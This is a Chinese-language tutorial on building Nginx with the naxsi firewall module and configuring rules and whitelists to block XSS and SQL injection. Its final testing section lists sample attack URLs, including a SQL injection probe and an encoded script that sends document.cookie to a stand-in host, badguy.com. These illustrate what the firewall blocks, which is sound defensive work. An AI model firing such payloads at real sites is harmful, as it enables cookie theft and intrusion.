Nginx使用naxsi防xss、防注入攻击配置
一、安装前提
1.必须安装了nginx并可提供基本服务(这个是添加模块儿的前提,自己google吧);
2.下载naxsi模块:Naxsi :https://naxsi.googlecode.com/files/naxsi-core-0.50.tgz ;
二、安装说明
1、tar -xzvf naxsi-core-0.50.tgz 解压,并进入naxsi-core-0.50/naxsi_src目录下;
2、执行make & make install 命令,当然也可以使用 ./configure 指定安装位置等参数;
3、完成安装后,需要将其与nginx关联起来:
》》在安装好的nginx/sbin/下执行./nginx -V 命令,可以查看到nginx的原有./configure配置,复制后并添加naxsi模块的路径如下。
对于此次安装 cd /app/uatg1/lua_install/tengine-1.4.1(nginx的源文件目录)下
执行命令:./configure --prefix=/app/uatg1/nginx --conf-path=/app/uatg1/nginx/conf/nginx.conf 。。。。。。等原有的。
添加:--add-module=/app/uatg1/lua_install/naxsi-core-0.50/naxsi_src
可以看到执行过程显示,最后可以看到,naxsi被关联,configure成功。
4、对其执行 make & make install 命令,重新编译;
三、配置说明
官网说明见 : https://code.google.com/p/naxsi/wiki/Howto#Installing_nginx_+_naxsi ;
1、将naxsi的:naxsi-core-0.50/naxsi_config/目录下核心配置naxsi_core.rules拷贝到nginx/conf/目录下;
2、在nginx/conf/目录下新建naxsi_nbs.rules文件,用以配置使用;
3、在nginx.conf中配置:
1>、添加naxsi核心配置
http { #include /app/uatg1/lua_install/naxsi-core-0.50/naxsi_config/naxsi_core.rules; #若步做上第一步,则需要指定全路径 include naxsi_core.rules; include mime.types; ..... }
2>、
# 配置防攻击 location /xss { include naxsi_nbs.rules; #配置信息 #include naxsi_BasicRule.conf; #设置 whitelist (白名单)配置 default_type text/plain; content_by_lua ' ngx.say("({\'Test xss ,come in please!!!\'})"); '; root html; } location /RequestDenied { return 403; #proxy_pass [https://10.142.138.61:7130/eop/; https://10.142.138.61:7130/eop/; ]} error_page 403 /403.html; # 在nginx/html/目录下新建的页面用来提示拦截
3>、配置naxsi_nbs.rules文件
#LearningMode; #Enables learning mode SecRulesEnabled; #SecRulesDisabled; DeniedUrl "/RequestDenied"; ## check rules CheckRule "$SQL >= 8" BLOCK; CheckRule "$RFI >= 8" BLOCK; CheckRule "$TRAVERSAL >= 4" BLOCK; CheckRule "$EVADE >= 4" BLOCK; CheckRule "$XSS >= 8" BLOCK;
4、还可以添加白名单naxsi_BasicRule.conf
测试使用:
BasicRule wl:0 "mz:$ARGS_VAR:script";
BasicRule wl:0 "mz:$ARGS_VAR:id";
表示xss攻击正常是被拦截的,若被添加白名单,则不被拦截:此处是Get 参数名若为id 或者script,则不被拦截;
BasicRule:规则说明,具体参见: https://code.google.com/p/naxsi/wiki/BasicRule wl:ID (WhiteList): Which rule ID(s) are whitelisted. mz: (MatchZones): Specify the conditions to match for the rule to be whitelisted. A MatchZone must be specified in a nginx location context to enable a rule. ◦ARGS : GET args ◦HEADERS : HTTP Headers ◦BODY : POST args ◦URL : The URL (before '?') ◦NAME : It's a suffix, indicating that the target element is the NAME of the var, not its content. For example a whitelist targetting BODY|NAME means that the exception were triggered in the "name" of some POST (BODY) variables.
四、测试使用说明
1、启动nginx(若已经启动,kill掉原来执行的nginx),再重新启动,这点要切记!
2、测试链接:
https://10.142.138.61:8888/xss/ 通过 https://10.142.138.61:8888/xss/?id=40/**/and/**/1=1 通过,因为配置到白名单 https://10.142.138.61:8888/xss/?name=40/**/and/**/1=1 不通过,含有条件注入 https://10.142.138.61:8888/xss/?name=%28%29 不通过,特殊字符 https://10.142.138.61:8888/xss/?term=%3Cscript%3Ewindow.open%28%22https://badguy.com?cookie=%22+document.cookie%29%3C/script%3E 不通过,参数内容含脚本注入 https://10.142.138.61:8888/xss/?title=meta%20http-equiv=%22refresh%22%20content=%220;%22 不通过
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